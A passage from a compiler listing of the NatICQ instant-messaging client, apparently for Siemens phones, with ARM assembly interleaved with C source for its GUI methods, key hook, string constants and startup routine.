000047E0 SUB R0,R7,R0 \ 000006A0 0810A0E3 MOV R1,#+8 \ 000006A4 02002DE9 PUSH {R1} \ 000006A8 012080E2 ADD R2,R0,#+1 \ 000006AC 051047E0 SUB R1,R7,R5 \ 000006B0 031041E2 SUB R1,R1,#+3 \ 000006B4 02002DE9 PUSH {R1} \ 000006B8 380094E5 LDR R0,[R4, #+56] \ 000006BC 0110A0E3 MOV R1,#+1 \ 000006C0 4C0100EF SWI +332 5448 5449 #else 5450 DrawString(data->ws1,3,3+YDISP,scr_w-4,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD), 5451 FONT_SMALL,0,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); 5452 wsprintf(data->ws2,percent_t,cltop?LG_GRSKEYCLIST:empty_str); 5453 DrawString(data->ws2,(scr_w >> 1),scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD), 5454 scr_w-4,scr_h-4,FONT_MEDIUM_BOLD,TEXT_ALIGNRIGHT,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); 5455 wsprintf(data->ws2,percent_t,LG_GRSKEYEXIT); 5456 DrawString(data->ws2,3,scr_h-4-GetFontYSIZE(FONT_MEDIUM_BOLD), 5457 scr_w>>1,scr_h-4,FONT_MEDIUM_BOLD,TEXT_ALIGNLEFT,GetPaletteAdrByColorIndex(0),GetPaletteAdrByColorIndex(23)); 5458 #endif 5459 } \ 000006C4 3CD08DE2 ADD SP,SP,#+60 \ 000006C8 F08FBDE8 POP {R4-R11,PC} ;; return \ ??method0_0: \ 000006CC ........ DC32 pictures_max \ 000006D0 ........ DC32 pictures_loaded \ 000006D4 ........ DC32 total_smiles \ 000006D8 ........ DC32 xstatuses_load \ 000006DC ........ DC32 `?` \ 000006E0 ........ DC32 `?` \ 000006E4 ........ DC32 `?` 5460 \ In segment CODE, align 4, keep-with-next 5461 void method1(MAIN_GUI *data,void *(*malloc_adr)(int)) 5462 { \ method1: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 5463 data->ws1=AllocWS(256); \ 00000008 400FA0E3 MOV R0,#+256 \ 0000000C 250100EF SWI +293 \ 00000010 340084E5 STR R0,[R4, #+52] 5464 data->ws2=AllocWS(256); \ 00000014 400FA0E3 MOV R0,#+256 \ 00000018 250100EF SWI +293 \ 0000001C 380084E5 STR R0,[R4, #+56] 5465 data->gui.state=1; \ 00000020 0100A0E3 MOV R0,#+1 \ 00000024 0C00C4E5 STRB R0,[R4, #+12] 5466 } \ 00000028 1080BDE8 POP {R4,PC} ;; return 5467 \ In segment CODE, align 4, keep-with-next 5468 void method2(MAIN_GUI *data,void (*mfree_adr)(void *)) 5469 { \ method2: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 5470 FreeWS(data->ws1); \ 00000008 340094E5 LDR R0,[R4, #+52] \ 0000000C 290100EF SWI +297 5471 FreeWS(data->ws2); \ 00000010 380094E5 LDR R0,[R4, #+56] \ 00000014 290100EF SWI +297 5472 data->gui.state=0; \ 00000018 0000A0E3 MOV R0,#+0 \ 0000001C 0C00C4E5 STRB R0,[R4, #+12] 5473 } \ 00000020 1080BDE8 POP {R4,PC} ;; return 5474 \ In segment CODE, align 4, keep-with-next 5475 void method3(MAIN_GUI *data,void *(*malloc_adr)(int),void (*mfree_adr)(void *)) 5476 { \ method3: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 5477 DisableIDLETMR(); \ 00000008 7F0100EF SWI +383 5478 data->gui.state=2; \ 0000000C 0200A0E3 MOV R0,#+2 \ 00000010 0C00C4E5 STRB R0,[R4, #+12] 5479 } \ 00000014 1080BDE8 POP {R4,PC} ;; return 5480 \ In segment CODE, align 4, keep-with-next 5481 void method4(MAIN_GUI *data,void (*mfree_adr)(void *)) 5482 { 5483 if (data->gui.state!=2) \ method4: \ 00000000 0C10D0E5 LDRB R1,[R0, #+12] \ 00000004 020051E3 CMP R1,#+2 5484 return; 5485 data->gui.state=1; \ 00000008 0110A003 MOVEQ R1,#+1 \ 0000000C 0C10C005 STRBEQ R1,[R0, #+12] 5486 } \ 00000010 1EFF2FE1 BX LR ;; return 5487 \ In segment CODE, align 4, keep-with-next 5488 int method5(MAIN_GUI *data,GUI_MSG *msg) 5489 { \ method5: \ 00000000 F0402DE9 PUSH {R4-R7,LR} \ 00000004 04D04DE2 SUB SP,SP,#+4 \ 00000008 0140A0E1 MOV R4,R1 5490 DirectRedrawGUI(); \ 0000000C 3F0100EF SWI +319 5491 if (msg->gbsmsg->msg==KEY_DOWN) \ 00000010 040094E5 LDR R0,[R4, #+4] \ 00000014 9320A0E3 MOV R2,#+147 \ 00000018 041090E5 LDR R1,[R0, #+4] \ 0000001C 402F82E3 ORR R2,R2,#0x100 \ 00000020 020051E1 CMP R1,R2 \ 00000024 2800001A BNE ??method5_0 5492 { 5493 switch(msg->gbsmsg->submess) \ 00000028 ........ LDR R4,??DataTable118 ;; S_ICONS \ 0000002C 080090E5 LDR R0,[R0, #+8] \ 00000030 ........ LDR R5,??DataTable117 ;; create_connect \ 00000034 8410A0E3 MOV R1,#+132 \ 00000038 901D81E3 ORR R1,R1,#0x2400 \ 0000003C 046081E0 ADD R6,R1,R4 \ 00000040 0370A0E3 MOV R7,#+3 \ 00000044 010050E2 SUBS R0,R0,#+1 \ 00000048 0600000A BEQ ??method5_1 \ 0000004C 030050E2 SUBS R0,R0,#+3 \ 00000050 0C00000A BEQ ??method5_2 \ 00000054 070050E2 SUBS R0,R0,#+7 \ 00000058 0C00000A BEQ ??method5_3 \ 0000005C 250050E2 SUBS R0,R0,#+37 \ 00000060 1200000A BEQ ??method5_4 \ 00000064 050000EA B ??method5_5 5494 { 5495 #ifdef kluchnik 5496 case LEFT_SOFT: 5497 if (cltop) create_contactlist_menu(); \ ??method5_1: \ 00000068 100394E5 LDR R0,[R4, #+784] \ 0000006C 000050E3 CMP R0,#+0 \ 00000070 0000000A BEQ ??method5_6 \ 00000074 ........ BL create_contactlist_menu 5498 unhooked2=1; \ ??method5_6: \ 00000078 0100A0E3 MOV R0,#+1 \ 0000007C 980384E5 STR R0,[R4, #+920] \ ??method5_5: \ 00000080 0000A0E3 MOV R0,#+0 \ 00000084 F280BDE8 POP {R1,R4-R7,PC} 5499 // if (cltop) remake_clmenu(); 5500 break; 5501 case RIGHT_SOFT: 5502 return(1); //Происходит вызов GeneralFunc для тек. GUI -> закрытие GUI \ ??method5_2: \ 00000088 0100A0E3 MOV R0,#+1 \ 0000008C F280BDE8 POP {R1,R4-R7,PC} 5503 #else 5504 case LEFT_SOFT: 5505 return(1); //Происходит вызов GeneralFunc для тек. GUI -> закрытие GUI 5506 case RIGHT_SOFT: 5507 // if (cltop) remake_clmenu(); 5508 unhooked2=1; 5509 if (cltop) create_contactlist_menu(); 5510 break; 5511 #endif 5512 case GREEN_BUTTON: 5513 disautorecconect=0; \ ??method5_3: \ 00000090 0000A0E3 MOV R0,#+0 \ 00000094 B80284E5 STR R0,[R4, #+696] 5514 if ((connect_state==0)&&(sock==-1)) \ 00000098 E80294E5 LDR R0,[R4, #+744] \ 0000009C 000050E3 CMP R0,#+0 \ 000000A0 EC029405 LDREQ R0,[R4, #+748] \ 000000A4 01007003 CMNEQ R0,#+1 \ 000000A8 0700001A BNE ??method5_0 5515 { 5516 GBS_DelTimer(&reconnect_tmr); \ 000000AC 010000EA B ??method5_7 5517 DNR_TRIES=3; 5518 SUBPROC((void *)create_connect); 5519 } 5520 break; 5521 case '0': 5522 SUBPROC((void*)end_socket); \ ??method5_4: \ 000000B0 ........ LDR R0,??DataTable128 ;; end_socket \ 000000B4 710100EF SWI +369 5523 GBS_DelTimer(&reconnect_tmr); \ ??method5_7: \ 000000B8 0600A0E1 MOV R0,R6 \ 000000BC 8C0100EF SWI +396 5524 DNR_TRIES=3; \ 000000C0 A47384E5 STR R7,[R4, #+932] 5525 SUBPROC((void *)create_connect); \ 000000C4 0500A0E1 MOV R0,R5 \ 000000C8 710100EF SWI +369 5526 break; 5527 } 5528 } 5529 return(0); \ ??method5_0: \ 000000CC 0000A0E3 MOV R0,#+0 \ 000000D0 F280BDE8 POP {R1,R4-R7,PC} ;; return 5530 } 5531 \ In segment CODE, align 4, keep-with-next 5532 int method8(void){return(0);} \ method8: \ 00000000 0000A0E3 MOV R0,#+0 \ 00000004 1EFF2FE1 BX LR ;; return 5533 \ In segment CODE, align 4, keep-with-next 5534 int method9(void){return(0);} \ method9: \ 00000000 0000A0E3 MOV R0,#+0 \ 00000004 1EFF2FE1 BX LR ;; return 5535 5536 const void * const gui_methods[11]={ 5537 (void *)method0, //Redraw 5538 (void *)method1, //Create 5539 (void *)method2, //Close 5540 (void *)method3, //Focus 5541 (void *)method4, //Unfocus 5542 (void *)method5, //OnKey 5543 0, 5544 (void *)kill_data, //method7, //Destroy 5545 (void *)method8, 5546 (void *)method9, 5547 0 5548 }; 5549 5550 \ In segment CODE, align 4, keep-with-next 5551 int my_keyhook(int key, int m) 5552 { \ my_keyhook: \ 00000000 70402DE9 PUSH {R4-R6,LR} \ 00000004 0050A0E1 MOV R5,R0 5553 if (m==KEY_DOWN) \ 00000008 9300A0E3 MOV R0,#+147 \ 0000000C 400F80E3 ORR R0,R0,#0x100 \ 00000010 000051E1 CMP R1,R0 \ 00000014 1D00001A BNE ??my_keyhook_0 5554 { 5555 if(change_back_status==1) \ 00000018 ........ LDR R4,??DataTable118 ;; S_ICONS \ 0000001C 0060A0E3 MOV R6,#+0 \ 00000020 8C0294E5 LDR R0,[R4, #+652] \ 00000024 010050E3 CMP R0,#+1 \ 00000028 0300001A BNE ??my_keyhook_1 5556 { 5557 CurrentStatus=status_rem; \ 0000002C 880294E5 LDR R0,[R4, #+648] \ 00000030 C80284E5 STR R0,[R4, #+712] 5558 set_my_status(); \ 00000034 ........ BL set_my_status 5559 // SUBPROC((void*)WriteDefSettings); 5560 change_back_status=0; \ 00000038 8C6284E5 STR R6,[R4, #+652] 5561 } 5562 #ifdef EVILFOX 5563 if ((key==VOL_UP_BUTTON)&&(IsIdleUiOnTop())) 5564 { 5565 if(autobot==1) 5566 { 5567 autobot=0; 5568 ShowMSG(1,(int)"Autobot Off"); 5569 } 5570 else 5571 { 5572 autobot=1; 5573 ShowMSG(1,(int)"Autobot On"); 5574 } 5575 } 5576 #endif 5577 #ifdef ELKA 5578 #ifdef EVILFOX 5579 if ((key==VOL_DOWN_BUTTON)&&(IsIdleUiOnTop())) 5580 #else 5581 if ((key==CAMERA_BUTTON)&&(!IsUnlocked())) \ ??my_keyhook_1: \ 0000003C 140055E3 CMP R5,#+20 \ 00000040 0D00001A BNE ??my_keyhook_2 \ 00000044 430000EF SWI +67 \ 00000048 000050E3 CMP R0,#+0 \ 0000004C 0A00001A BNE ??my_keyhook_2 5582 #endif 5583 { 5584 GBS_StopTimer(&away_tmr); \ 00000050 4400A0E3 MOV R0,#+68 \ 00000054 880D80E3 ORR R0,R0,#0x2200 \ 00000058 040080E0 ADD R0,R0,R4 \ 0000005C 440100EF SWI +324 5585 msg_away_timer=AUTO_ENGADE; \ 00000060 140194E5 LDR R0,[R4, #+276] \ 00000064 800284E5 STR R0,[R4, #+640] 5586 away_timer(); \ 00000068 ........ BL away_timer 5587 main_d=1; \ 0000006C 0100A0E3 MOV R0,#+1 \ 00000070 2C0284E5 STR R0,[R4, #+556] \ 00000074 0000A0E3 MOV R0,#+0 \ 00000078 7080BDE8 POP {R4-R6,PC} 5588 } 5589 else 5590 { 5591 #endif 5592 if(Reset_timer) \ ??my_keyhook_2: \ 0000007C 540194E5 LDR R0,[R4, #+340] \ 00000080 000050E3 CMP R0,#+0 \ 00000084 7080BD08 POPEQ {R4-R6,PC} 5593 { 5594 msg_away_timer=0; \ 00000088 806284E5 STR R6,[R4, #+640] 5595 away_m=0; \ 0000008C 846284E5 STR R6,[R4, #+644] 5596 } 5597 #ifdef ELKA 5598 } 5599 #endif 5600 } 5601 return 0; \ ??my_keyhook_0: \ 00000090 0000A0E3 MOV R0,#+0 \ 00000094 7080BDE8 POP {R4-R6,PC} ;; return 5602 } \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5B495D00 DC8 "[I]" 5603 5604 const RECT Canvas={0,0,0,0}; \ Canvas: \ 00000004 000000000000 DC16 0, 0, 0, 0 \ 0000 \ 0000000C ........ DC32 `?` \ 00000010 ........ DC32 `?` \ 00000014 ........ DC32 `?` \ percent_t: \ 00000020 257400 DC8 "%t" \ percent_d: \ 00000023 256400 DC8 "%d" \ empty_str: \ 00000026 00 DC8 "" \ 00000027 00 DC8 0 \ 00000028 3E25733C00 DC8 ">%s<" \ 0000002D 000000 DC8 0, 0, 0 \ 00000030 0A4C6F616465 DC8 "\012Loaded %d smiles" \ 642025642073 \ 6D696C657300 \ 00000042 0000 DC8 0, 0 \ 00000044 0A4C6F616465 DC8 "\012Loaded %d xstatus" \ 642025642078 \ 737461747573 \ 00 \ 00000057 00 DC8 0 \ 00000058 4578697400 DC8 "Exit" \ 0000005D 000000 DC8 0, 0, 0 \ 00000060 434C69737400 DC8 "CList" \ 00000066 0000 DC8 0, 0 \ 00000068 5B56725D00 DC8 "[Vr]" \ 0000006D 000000 DC8 0, 0, 0 \ 00000070 4675636B2079 DC8 "Fuck you hacker! my password sux ur ass" \ 6F7520686163 \ 6B657221206D \ 792070617373 \ 776F72642073 \ 757820757220 \ 61737300 \ 00000098 556E72656164 DC8 "Unread: %d" \ 3A20256400 \ 000000A3 00 DC8 0 \ 000000A4 C2F0E5ECFF20 DC8 "\302\360\345\354\377 \342 \356\355\353\340\351\355:\012%02d:%02d:%02d\012\321\345\360\342\345\360:\012%s" \ E220EEEDEBE0 \ E9ED3A0A2530 \ 32643A253032 \ 643A25303264 \ 0AD1E5F0E2E5 \ F03A0A257300 \ 000000CE 0000 DC8 0, 0 \ 000000D0 49646C655570 DC8 "IdleUpd" \ 6400 \ 000000D8 4E6174494351 DC8 "NatICQ config updated!" \ 20636F6E6669 \ 672075706461 \ 7465642100 \ 000000EF 00 DC8 0 \ 000000F0 257332323430 DC8 "%s2240.png" \ 2E706E6700 \ 000000FB 00 DC8 0 \ 000000FC 475052532075 DC8 "GPRS up, wait 10 sec..." \ 702C20776169 \ 742031302073 \ 65632E2E2E00 \ 00000114 54727920746F DC8 "Try to login..." \ 206C6F67696E \ 2E2E2E00 \ 00000124 CDE520E220F1 DC8 "\315\345 \342 \361\357\350\361\352\345" \ EFE8F1EAE500 \ 00000130 4C6F6F706261 DC8 "Loopback" \ 636B00 \ 00000139 000000 DC8 0, 0, 0 \ 0000013C CDE5E2E5F0ED DC8 "\315\345\342\345\360\355\356\345 \361\356\356\341\371\345\355\350\345 ENIP_SOCK_CONNECTED!" \ EEE520F1EEEE \ E1F9E5EDE8E5 \ 20454E49505F \ 534F434B5F43 \ 4F4E4E454354 \ 45442100 \ 00000164 CDE5E2E5F0ED DC8 "\315\345\342\345\360\355\356\345 \361\356\356\341\371\345\355\350\345 ENIP_DATA_READ" \ EEE520F1EEEE \ E1F9E5EDE8E5 \ 20454E49505F \ 444154415F52 \ 45414400 \ 00000186 0000 DC8 0, 0 \ 00000188 446973636F6E DC8 "Disconnected, %d bytes not sended!" \ 6E6563746564 \ 2C2025642062 \ 79746573206E \ 6F742073656E \ 6465642100 \ 000001AB 00 DC8 0 \ 000001AC 25730A526563 DC8 "%s\012Reconect after %d second..." \ 6F6E65637420 \ 616674657220 \ 256420736563 \ 6F6E642E2E2E \ 00 \ 000001CB 00 DC8 0 \ 000001CC 50696E67204E DC8 "Ping None" \ 6F6E6500 \ 000001D6 0000 DC8 0, 0 \ 000001D8 C2E2E5E4E8F2 DC8 "\302\342\345\344\350\362\345 UIN/\357\340\360\356\353\374!" \ E52055494E2F \ EFE0F0EEEBFC \ 2100 \ 000001EC 2025733A2025 DC8 " %s: %02d:%02d:%02d %02d.%02d" \ 3032643A2530 \ 32643A253032 \ 642025303264 \ 2E2530326400 \ 0000020A 0000 DC8 0, 0 \ 0000020C 4F6E6C696E65 DC8 "Online" \ 00 \ 00000213 00 DC8 0 \ 00000214 576F726B00 DC8 "Work" \ 00000219 000000 DC8 0, 0, 0 \ 0000021C 4C756E636800 DC8 "Lunch" \ 00000222 0000 DC8 0, 0 \ 00000224 486F6D6500 DC8 "Home" \ 00000229 000000 DC8 0, 0, 0 \ 0000022C 4576696C00 DC8 "Evil" \ 00000231 000000 DC8 0, 0, 0 \ 00000234 446570726573 DC8 "Depression" \ 73696F6E00 \ 0000023F 00 DC8 0 \ 00000240 4F6363757069 DC8 "Occupied" \ 656400 \ 00000249 000000 DC8 0, 0, 0 \ 0000024C 4177617900 DC8 "Away" \ 00000251 000000 DC8 0, 0, 0 \ 00000254 496E76697361 DC8 "Invisable" \ 626C6500 \ 0000025E 0000 DC8 0, 0 \ 00000260 50696E673A20 DC8 "Ping: %dsec" \ 256473656300 \ 0000026C 50696E672025 DC8 "Ping %d-%d seconds!" \ 642D25642073 \ 65636F6E6473 \ 2100 \ 00000280 257325642E77 DC8 "%s%d.wav" \ 617600 \ 00000289 000000 DC8 0, 0, 0 \ 0000028C 4D534725643A DC8 "MSG%d: %s" \ 20257300 \ 00000296 0000 DC8 0, 0 \ 00000298 75696E256400 DC8 "uin%d" \ 0000029E 0000 DC8 0, 0 \ 000002A0 4552523A2025 DC8 "ERR: %s" \ 7300 \ 000002A8 534325643A20 DC8 "SC%d: %04X" \ 2530345800 \ 000002B3 00 DC8 0 \ 000002B4 426164207061 DC8 "Bad packet" \ 636B657400 \ 000002BF 00 DC8 0 \ 000002C0 EEF8E8E1EAE0 DC8 "\356\370\350\341\352\340" \ 00 \ 000002C7 00 DC8 0 \ 000002C8 2825642F2564 DC8 "(%d/%d)" \ 2900 \ 000002D0 2563257400 DC8 "%c%t" \ 000002D5 000000 DC8 0, 0, 0 \ 000002D8 3E3E20257320 DC8 ">> %s <<" \ 3C3C00 \ 000002E1 000000 DC8 0, 0, 0 \ 000002E4 566962726120 DC8 "Vibra rem Off" \ 72656D204F66 \ 6600 \ 000002F2 0000 DC8 0, 0 \ 000002F4 566962726120 DC8 "Vibra rem On" \ 72656D204F6E \ 00 \ 00000301 000000 DC8 0, 0, 0 \ 00000304 C8EDE2E8E720 DC8 "\310\355\342\350\347 \342\373\352\353\376\367\345\355" \ E2FBEAEBFEF7 \ E5ED00 \ 00000313 00 DC8 0 \ 00000314 C8EDE2E8E720 DC8 "\310\355\342\350\347 \342\352\353\376\367\345\355" \ E2EAEBFEF7E5 \ ED00 \ 00000322 0000 DC8 0, 0 \ 00000324 566962726120 DC8 "Vibra Off" \ 4F666600 \ 0000032E 0000 DC8 0, 0 \ 00000330 566962726120 DC8 "Vibra On" \ 4F6E00 \ 00000339 000000 DC8 0, 0, 0 \ 0000033C 536F756E6420 DC8 "Sound Off" \ 4F666600 \ 00000346 0000 DC8 0, 0 \ 00000348 536F756E6420 DC8 "Sound 0n" \ 306E00 \ 00000351 000000 DC8 0, 0, 0 \ 00000354 53686F772074 DC8 "Show time" \ 696D6500 \ 0000035E 0000 DC8 0, 0 \ 00000360 53686F772078 DC8 "Show x-status" \ 2D7374617475 \ 7300 \ 0000036E 0000 DC8 0, 0 \ 00000370 53746174653A DC8 53H, 74H, 61H, 74H, 65H, 3AH, 20H, 25H \ 2025 \ 00000378 642C20525873 DC8 64H, 2CH, 20H, 52H, 58H, 73H, 74H, 61H \ 7461 \ 00000380 74653A202564 DC8 74H, 65H, 3AH, 20H, 25H, 64H, 0AH, 52H \ 0A52 \ 00000388 783A2564622C DC8 78H, 3AH, 25H, 64H, 62H, 2CH, 54H, 78H \ 5478 \ 00000390 3A2564620A51 DC8 3AH, 25H, 64H, 62H, 0AH, 51H, 75H, 65H \ 7565 \ 00000398 75653A202564 DC8 75H, 65H, 3AH, 20H, 25H, 64H, 62H, 0AH \ 620A \ 000003A0 25730A257300 DC8 25H, 73H, 0AH, 25H, 73H, 0 \ 000003A6 0000 DC8 0, 0 \ 000003A8 4F66666C696E DC8 "Offline" \ 6500 \ 000003B0 4F6E6C696E65 DC8 "Online: %02d:%02d:%02d" \ 3A2025303264 \ 3A253032643A \ 2530326400 \ 000003C7 00 DC8 0 \ ipc_my_name: \ 000003C8 4E6174494351 DC8 "NatICQ" \ 00 \ 000003CF 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000003DF 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000 \ ipc_xtask_name: \ 000003E8 585461736B00 DC8 "XTask" \ 000003EE 0000 DC8 0, 0 \ x_status_change: \ 000003F0 582D53746174 DC8 "X-Status change" \ 757320636861 \ 6E676500 \ gui_methods: \ 00000400 ............ DC32 method0, method1, method2, method3, method4, method5, 0H \ ............ \ ............ \ ............ \ 00000000 \ 0000041C ............ DC32 kill_data, method8, method9, 0H \ ............ \ 00000000 \ In segment DATA_C, align 4, align-sorted \ ipc_test_name: \ 00000000 7465737400 DC8 "test" \ 00000005 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ S_OFFLINE: \ 00000000 4F66666C696E DC8 "Offline" \ 6500 \ In segment DATA_C, align 4, align-sorted \ S_INVISIBLE: \ 00000000 496E76697369 DC8 "Invisible" \ 626C6500 \ 0000000A 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ S_AWAY: \ 00000000 4177617900 DC8 "Away" \ 00000005 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ S_NA: \ 00000000 4E2F4100 DC8 "N/A" \ In segment DATA_C, align 4, align-sorted \ S_OCCUPIED: \ 00000000 4F6363757069 DC8 "Occupied" \ 656400 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ S_DND: \ 00000000 444E4400 DC8 "DND" \ In segment DATA_C, align 4, align-sorted \ S_ONLINE: \ 00000000 4F6E6C696E65 DC8 "Online" \ 00 \ 00000007 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ S_FFC: \ 00000000 46464300 DC8 "FFC" \ In segment DATA_C, align 4, align-sorted \ icons_names: \ 00000000 ............ DC32 `?`, `?` \ .... \ 00000008 ............ DC32 `?`, `?` \ .... \ 00000010 ............ DC32 `?`, `?` \ .... \ 00000018 ............ DC32 `?`, `?` \ .... \ 00000020 ............ DC32 `?`, `?` \ .... \ 00000028 ............ DC32 `?`, `?` \ .... \ 00000030 ............ DC32 `?`, `?` \ .... \ 00000038 ............ DC32 `?`, `?` \ .... \ 00000040 ............ DC32 `?`, `?` \ .... \ 00000048 ............ DC32 `?`, `?` \ .... \ 00000050 ............ DC32 `?`, `?` \ .... \ 00000058 ............ DC32 `?`, `?` \ .... \ 00000060 ............ DC32 `?`, `?` \ .... \ 00000068 ............ DC32 `?`, `?` \ .... \ In segment DATA_C, align 4, align-sorted \ input_awaymsg_desc: \ 00000000 01000000.... DC32 1, input_awaymsg_onkey, input_awaymsg_ghook, input_awaymsg_locret \ ............ \ ........ \ 00000010 00000000.... DC32 0, input_awaymsg_skt \ .... \ 00000018 000000000000 DC16 0, 0, 0, 0 \ 0000 \ 00000020 080000006400 DC32 8, 100, 101, 0, 0, 1073741824 \ 000065000000 \ 000000000000 \ 000000000040 \ 00000038 EAEEE3E4E020 DC8 "\352\356\343\344\340 \361\354\356\343\363 \356\362\342\345\367\363:)" \ F1ECEEE3F320 \ EEF2E2E5F7F3 \ 3A2900 \ 0000004D 000000 DC8 0, 0, 0 \ 00000050 D1EEEEE1F9E5 DC8 "\321\356\356\341\371\345\355\350\345 2:\012" \ EDE8E520323A \ 0A00 \ 0000005E 0000 DC8 0, 0 \ 00000060 D1EEEEE1F9E5 DC8 "\321\356\356\341\371\345\355\350\345:\012" \ EDE8E53A0A00 \ input_awaymsg_hdr: \ 0000006C 000000008300 DC16 0, 0, 131, 21 \ 1500 \ 00000074 00000000.... DC32 0H, `?` \ 00000008 01000000 DC16 1, 0 \ 0000000C ........ DC32 `?` \ 00000010 3D000000 DC16 61, 0 \ 00000014 FBC0FF7F DC32 2147467515 \ In segment DATA_C, align 4, align-sorted \ clmenu_sk: \ 00000000 18000000 DC16 24, 0 \ 00000004 ........ DC32 `?` \ 00000008 01000000 DC16 1, 0 \ 0000000C ........ DC32 clmenu_sk_r \ 00000010 3D000000 DC16 61, 0 \ 00000014 FBC0FF7F DC32 2147467515 \ In segment DATA_C, align 4, align-sorted \ menu_skt: \ 00000000 ........0000 DC32 menu_sk, 0 \ 0000 \ In segment DATA_C, align 4, align-sorted \ clmenu_skt: \ 00000000 ........0000 DC32 clmenu_sk, 0 \ 0000 \ In segment DATA_C, align 4, align-sorted \ `?` \ 00000008 01000000 DC16 1, 0 \ 0000000C ........ DC32 `?` \ 00000010 3D000000 DC16 61, 0 \ 00000014 FBC0FF7F DC32 2147467515 \ In segment DATA_C, align 4, align-sorted \ _skt: \ 00000000 ........0000 DC32 _sk, 0 \ 0000 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 B0B5041C0025 DC8 176, 181, 4, 28, 0, 37, 5, 97 \ 0561 \ color: \ 00000008 FFFFFF64 DC8 255, 255, 255, 100 5605 \ In segment CODE, align 4, keep-with-next 5606 void maincsm_oncreate(CSM_RAM *data) 5607 { \ maincsm_oncreate: \ 00000000 F0402DE9 PUSH {R4-R7,LR} \ 00000004 0050A0E1 MOV R5,R0 5608 // UpdateConfig(); 5609 MAIN_GUI *main_gui=malloc(sizeof(MAIN_GUI)); \ 00000008 4000A0E3 MOV R0,#+64 5610 MAIN_CSM*csm=(MAIN_CSM*)data; 5611 zeromem(main_gui,sizeof(MAIN_GUI)); 5612 patch_rect((RECT*)&Canvas,0,0,ScreenW()-1,ScreenH()-1); \ 0000000C 0070A0E3 MOV R7,#+0 \ 00000010 140000EF SWI +20 \ 00000014 0060A0E1 MOV R6,R0 \ 00000018 4010A0E3 MOV R1,#+64 \ 0000001C 1D0100EF SWI +285 \ 00000020 898100EF SWI +33161 \ 00000024 0040A0E1 MOV R4,R0 \ 00000028 888100EF SWI +33160 \ 0000002C 011044E2 SUB R1,R4,#+1 \ 00000030 ........ LDR R4,??DataTable119 ;; `?` \ 00000034 010040E2 SUB R0,R0,#+1 \ 00000038 047084E5 STR R7,[R4, #+4] \ 0000003C B800C4E1 STRH R0,[R4, #+8] \ 00000040 BA10C4E1 STRH R1,[R4, #+10] 5613 main_gui->gui.canvas=(void *)(&Canvas); \ 00000044 040084E2 ADD R0,R4,#+4 \ 00000048 000086E5 STR R0,[R6, #+0] 5614 // main_gui->gui.flag30=2; 5615 main_gui->gui.methods=(void *)gui_methods; \ 0000004C 400E84E2 ADD R0,R4,#+1024 \ 00000050 040086E5 STR R0,[R6, #+4] 5616 main_gui->gui.item_ll.data_mfree=(void (*)(void *))mfree_adr(); \ 00000054 158000EF SWI +32789 \ 00000058 200086E5 STR R0,[R6, #+32] 5617 csm->csm.state=0; \ 0000005C 107085E5 STR R7,[R5, #+16] 5618 csm->csm.unk1=0; \ 00000060 147085E5 STR R7,[R5, #+20] 5619 maingui_id=csm->gui_id=CreateGUI(main_gui); \ 00000064 0600A0E1 MOV R0,R6 \ 00000068 370100EF SWI +311 \ 0000006C 280085E5 STR R0,[R5, #+40] \ 00000070 ........ LDR R5,??DataTable118 ;; S_ICONS \ 00000074 680285E5 STR R0,[R5, #+616] 5620 ews=AllocWS(16384); \ 00000078 400CA0E3 MOV R0,#+16384 \ 0000007C 250100EF SWI +293 \ 00000080 780285E5 STR R0,[R5, #+632] 5621 // MutexCreate(&contactlist_mtx); 5622 DNR_TRIES=3; \ 00000084 0300A0E3 MOV R0,#+3 \ 00000088 A40385E5 STR R0,[R5, #+932] 5623 // SUBPROC((void *)InitSmiles); 5624 // SUBPROC((void *)create_connect); 5625 wsBuffer=AllocWS(10240); \ 0000008C A00DA0E3 MOV R0,#+10240 \ 00000090 250100EF SWI +293 5626 GBS_StartTimerProc(&tmr_active,TMR_SECOND*10,process_active_timer); \ 00000094 ........ LDR R2,??DataTable110 ;; process_active_timer \ 00000098 3C0285E5 STR R0,[R5, #+572] \ 0000009C 871EA0E3 MOV R1,#+2160 \ 000000A0 9400A0E3 MOV R0,#+148 \ 000000A4 900D80E3 ORR R0,R0,#0x2400 \ 000000A8 050080E0 ADD R0,R0,R5 \ 000000AC 4D0000EF SWI +77 5627 sprintf((char *)ipc_my_name+6,percent_d,UIN); \ 000000B0 702195E5 LDR R2,[R5, #+368] \ 000000B4 231084E2 ADD R1,R4,#+35 \ 000000B8 CE00A0E3 MOV R0,#+206 \ 000000BC C00F80E3 ORR R0,R0,#0x300 \ 000000C0 040080E0 ADD R0,R0,R4 \ 000000C4 160000EF SWI +22 5628 gipc.name_to=ipc_my_name; \ 000000C8 F20FA0E3 MOV R0,#+968 \ 000000CC 041080E0 ADD R1,R0,R4 \ 000000D0 BC1085E5 STR R1,[R5, #+188] 5629 gipc.name_from=ipc_my_name; \ 000000D4 040080E0 ADD R0,R0,R4 \ 000000D8 C00085E5 STR R0,[R5, #+192] 5630 gipc.data=(void *)-1; \ 000000DC 0700E0E1 MVN R0,R7 \ 000000E0 C40085E5 STR R0,[R5, #+196] 5631 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_CHECK_DOUBLERUN,&gipc); \ 000000E4 BC3085E2 ADD R3,R5,#+188 \ 000000E8 0120A0E3 MOV R2,#+1 \ 000000EC B010A0E3 MOV R1,#+176 \ 000000F0 DE1C81E3 ORR R1,R1,#0xDE00 \ 000000F4 0900A0E3 MOV R0,#+9 \ 000000F8 